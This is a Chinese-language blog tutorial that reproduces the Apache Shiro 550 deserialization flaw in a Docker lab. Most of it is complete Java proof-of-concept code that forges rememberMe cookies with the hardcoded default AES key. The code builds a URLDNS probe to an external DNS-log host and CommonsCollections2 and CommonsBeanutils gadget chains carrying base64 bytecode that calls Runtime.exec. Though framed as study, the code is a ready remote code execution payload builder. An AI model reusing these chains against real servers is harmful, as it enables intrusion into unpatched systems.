JAVA反序列化实战之Shiro 550

JAVA反序列化实战之Shiro 550

Gat1ta 1,352 2022-01-26

前言

最近学习了很多JAVA反序列化利用链,也从来没有实战测试过,今天就用shiro来实战测试一下之前学习的利用链。

环境搭建

首先通过Docker下载镜像:

docker pull medicean/vulapps:s_shiro_1

然后启动环境:

docker exec -it 41 /bin/bash

启动环境后,将环境代码copy出来:

docker cp 41:/usr/local/tomcat/webapps/ROOT/ E:\JavaSource\Shiro550

然后在本地使用idea搭建一下,这样方便调试:

这里遇到点波折,最终目录结构如下:
image.png
运行环境并访问,得到如下界面说明环境搭建成功:
image.png

漏洞介绍

Apache Shiro是一个强大的JAVA安全框架,该框架能够用于身份验证、授权、加密和会话管理。与Spring Security框架相同,Apache Shiro也是一个全面的、蕴含丰富功能的安全框架。
在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化

由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞。
大致流程如下:
image.png

漏洞复现

漏洞发现

了解了漏洞原理,现在想想我们怎么来复现一下漏洞呢?
之前我们学习了很多漏洞利用链,首先可以使用URLDNS利用链来验证一下漏洞是否存在。
URLDNS代码如下,为了方便起见,这里aes加密的代码直接用的Shiro中的代码:

    public static void main(java.lang.String[] args) throws Exception
    {
        String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
        CipherService cipherService = new AesCipherService();
        byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
        Cipher cip = Cipher.getInstance("AES");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        cip.init(Cipher.ENCRYPT_MODE, skeySpec);
        HashMap ht = new HashMap();
        URL u = new URL("http://123.km0q00.ceye.io");
        setFieldValue(u, "hashCode", 11);
        ht.put(u, "1");

        setFieldValue(u, "hashCode", -1);

        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(ht);

        ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);

        String base64en = new BASE64Encoder().encode(encrypted.getBytes());
        base64en = base64en.replace("\r\n","");
        base64en = base64en.replace("\t","");
        FileWriter fos = new FileWriter("ser.txt");
        StringReader sr = new StringReader(base64en);

        fos.write(base64en);
        fos.close();
        
    }

运行完代码将ser.txt的字符串复制到rememberMe中,然后发送到服务器。
image.png
这时候打开dnslog服务器会发现出现了一条解析记录:
image.png
这说明确实是存在反序列化漏洞。
但是细心的朋友可以发现,发送payload的返回包中存在rememberMe=deleteMe字段,按理说这是在key不正确的情况下才会出现该字段,但是我们的反序列化已经成功执行,为什么会出现这个字段呢?
通过调试发现,在getRememberedPrincipals方法中:
image.png
会通过调用getRememberedSerializedIdentity方法来获得反序列化数据,然后在convertBytesToPrincipals方法中解密数据并进行反序列化。反序列化完成后会在deserialize方法中进行一次转型:
image.png
正式由于这次转型触发了一个异常,所以才会调用onRememberedPrincipalFailure方法:
image.png
然后调用了removeFrom方法设置了返回头:
image.png
到这里可以得知,如果想要通过返回头来确认key是否正确,我们的反序列化数据需要继承自PrincipalCollection接口,通过测试,org.apache.shiro.subject.SimplePrincipalMap类是一个不错的选择,只需要在把我们构造的对象put到SimplePrincipalMap中就可以。
最终代码如下:

    public static void main(java.lang.String[] args) throws Exception
    {
        String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
        CipherService cipherService = new AesCipherService();
        byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
        Cipher cip = Cipher.getInstance("AES");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        cip.init(Cipher.ENCRYPT_MODE, skeySpec);
        HashMap ht = new HashMap();
        URL u = new URL("http://123.km0q00.ceye.io");
        setFieldValue(u, "hashCode", 11);
        ht.put(u, "1");
        SimplePrincipalMap map = new SimplePrincipalMap();
        map.put("1",ht);
        setFieldValue(u, "hashCode", -1);

        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);

        ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);

        String base64en = new BASE64Encoder().encode(encrypted.getBytes());
        base64en = base64en.replace("\r\n","");
        base64en = base64en.replace("\t","");
        FileWriter fos = new FileWriter("ser.txt");
        StringReader sr = new StringReader(base64en);

        fos.write(base64en);
        fos.close();
        

    }

运行以上代码,将ser.txt文件中的字符串复制到rememberMe字段中,然后发送到服务器,会得到以下结果:
image.png
可以看到这次的返回包就没有了rememberMe=deleteMe字段,这样我们就可以只通过返回包来检测Key是否正确而不需要dnslog了。

漏洞利用

知道了存在漏洞,接下来就想一下可以用哪条CC链。
通过漏洞环境的pom.xml可以看到,环境中引入了CC4.0依赖,这是为了方便测试,实际中Shiro是不存在CC依赖的。
image.png
之前分析的CC链中,关于CC4版本的只有CC2和CC4,这里首先用CC2测试,代码如下:

 public static void main(String[] args) throws Exception
    {
        //getClassCode();
        byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
        CipherService cipherService = new AesCipherService();
        byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
        Cipher cip = Cipher.getInstance("AES");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        cip.init(Cipher.ENCRYPT_MODE, skeySpec);

        SimplePrincipalMap map = new SimplePrincipalMap();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

        queue.add(templatesImpl);
        queue.add("test");

        setFieldValue(transformer,"iMethodName","newTransformer");

        map.put("1",queue);

        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);

        ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);

        String base64en = new BASE64Encoder().encode(encrypted.getBytes());
        base64en = base64en.replace("\r\n","").replace("\t","");
        FileWriter fos = new FileWriter("ser.txt");
        fos.write(base64en);
        fos.close();


    }

运行以上代码,会在当前目录生成一个ser.txt文件,将文件中的字符串复制到cookie中发送到服务器,会发现服务器打开了一个计算器。

构建更少依赖的POC

前面我们已经成功构建了一个POC可以执行任意代码,但是这个POC需要用到CC4的依赖,这样如果在实战环境中没有CC4的依赖我们这个POC就无法使用了,所以这里要尝试构建一个不需要CC4依赖的POC。
我们首先复习一下之前学习过的不在CC4中的类,看看能不能继续用:

  • TemplatesImpl类,第一次接触在CC3利用链
  • PriorityQueue类,第一次接触在CC2利用链
  • BadAttributeValueExpException类,第一次接触在CC5利用链
    接下来简单回顾一下以上几个类。
    TemplatesImpl类:这个类通过加载字节码来执行任意代码,通过getOutputProperties方法或newTransformer方法触发。
    PriorityQueue类:这个类可以通过readObject作为入口调用任意实现了Comparator接口的类的compare方法来执行任意代码。
    BadAttributeValueExpException类:这个类可以通过readObject方法作为入口调用任意类的toString()方法。
    通过以上总结,我们需要找到一个compare或者toString可以触发代码执行的类就可以了:

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法(getter方法和setter方法就是getter 的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法的方法。),比如:

PropertyUtils.getProperty(new Test(), "name");

以上代码会调用Test类的getName方法。
通过这个特性,我们可以使用PropertyUtils.getProperty来调用TemplatesImpl.getOutputProperties方法来加载任意字节码。
接下来我们只需要找可以利用的 java.util.Comparator 对象就可以了。

org.apache.commons.beanutils.BeanComparator

答案就是 org.apache.commons.beanutils.BeanComparator 类,BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了 java.util.Comparator 接口。我们看它的compare方法:

    public int compare(Object o1, Object o2) {
        if(this.property == null) {
            return this.comparator.compare(o1, o2);
        } else {
            try {
                Object nsme = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.comparator.compare(nsme, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

可以看到,刚好在compare方法中调用了PropertyUtils.getProperty来获取对象信息。

最终的poc

接下来就来构造这个poc,代码如下:

    public static void finalPoc() throws Exception
    {
        byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";

        CipherService cipherService = new AesCipherService();
        byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
        Cipher cip = Cipher.getInstance("AES");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        cip.init(Cipher.ENCRYPT_MODE, skeySpec);

        BeanComparator bc = new BeanComparator();

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,bc);

        queue.add(1);
        queue.add(1);
        setFieldValue(bc,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});
        SimplePrincipalMap map = new SimplePrincipalMap();
        map.put("1",queue);
        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);


        ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);

        String base64en = new BASE64Encoder().encode(encrypted.getBytes());
        base64en = base64en.replace("\r\n","").replace("\t","");
        FileWriter fos = new FileWriter("ser.txt");
        fos.write(base64en);
        fos.close();
    }

这代码跟之前相差不大,主要是通过BeanComparator替换了TransformingComparator类,运行代码,然后复制ser.txt中的字符串放到cookie中发送到服务器,发现并没有弹出计算器,反而是弹出了两个异常~
image.png
Unable to deserialze argument byte array这个异常是因为有其他异常被捕获,在org.apache.shiro.io.DefaultSerializer#deserialize中抛出的异常,这个不需要管。
而Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]: 这个异常是因为是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽
然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于
commons-collections,但反序列化利用的时候需要依赖于commons-collections。
这难道就没法解决了么?别急,我们首先来看一下在什么地方用到了这个ComparableComparator类。
最终,在BeanComparator类的构造函数中发现使用了这个类,在我们构造BeanComparator类的时候如果不传入参数,则会默认使用ComparableComparator类来进行数据对比。
image.png
知道了在哪里使用,接下来我们就要找一个可以替换这个类的类。目标类有几个标准:

  1. 在当前依赖中存在,这样会有更好的兼容性。
  2. 实现了Comparator和Serializable接口。
    知道了需求我们直接看一下实现了Comparator接口的所有类:
    image.png
    最终,我们发现java.lang.String#CaseInsensitiveComparator类符合我们的需求,代码如下:
    image.png
    这是一个私有内部类,但是我们可以通过String.CASE_INSENSITIVE_ORDER这个静态成员来获得。
    万事俱备,接下来构造最终poc代码:
    public static void finalPoc() throws Exception
    {
        byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";

        CipherService cipherService = new AesCipherService();
        byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
        Cipher cip = Cipher.getInstance("AES");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        cip.init(Cipher.ENCRYPT_MODE, skeySpec);

        BeanComparator bc = new BeanComparator((String)null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,bc);

        queue.add("1");
        queue.add("1");
        setFieldValue(bc,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});
        SimplePrincipalMap map = new SimplePrincipalMap();
        map.put("1",queue);
        ByteOutputStream bos = new ByteOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);


        ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);

        String base64en = new BASE64Encoder().encode(encrypted.getBytes());
        base64en = base64en.replace("\r\n","").replace("\t","");
        FileWriter fos = new FileWriter("ser.txt");
        fos.write(base64en);
        fos.close();

        /**
         ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
         ObjectInputStream ois = new ObjectInputStream(bis);
         ois.readObject();

**/
    }

运行以上代码,将ser.txt文件中的字符串放到cookie中发送,会看到服务器成功弹出了计算器:
image.png

参考

天下大木头
代码审计星球.Java安全漫谈17

总结

至此,漏洞分析完毕。
通过以上分析可以看出这个漏洞一共就那几个关键的步骤:
获取Cookie=>Base64解密=>AES解密=>反序列化。
Shiro550的修复并不意味着反序列化漏洞问题的修复,只是移除了默认key而已。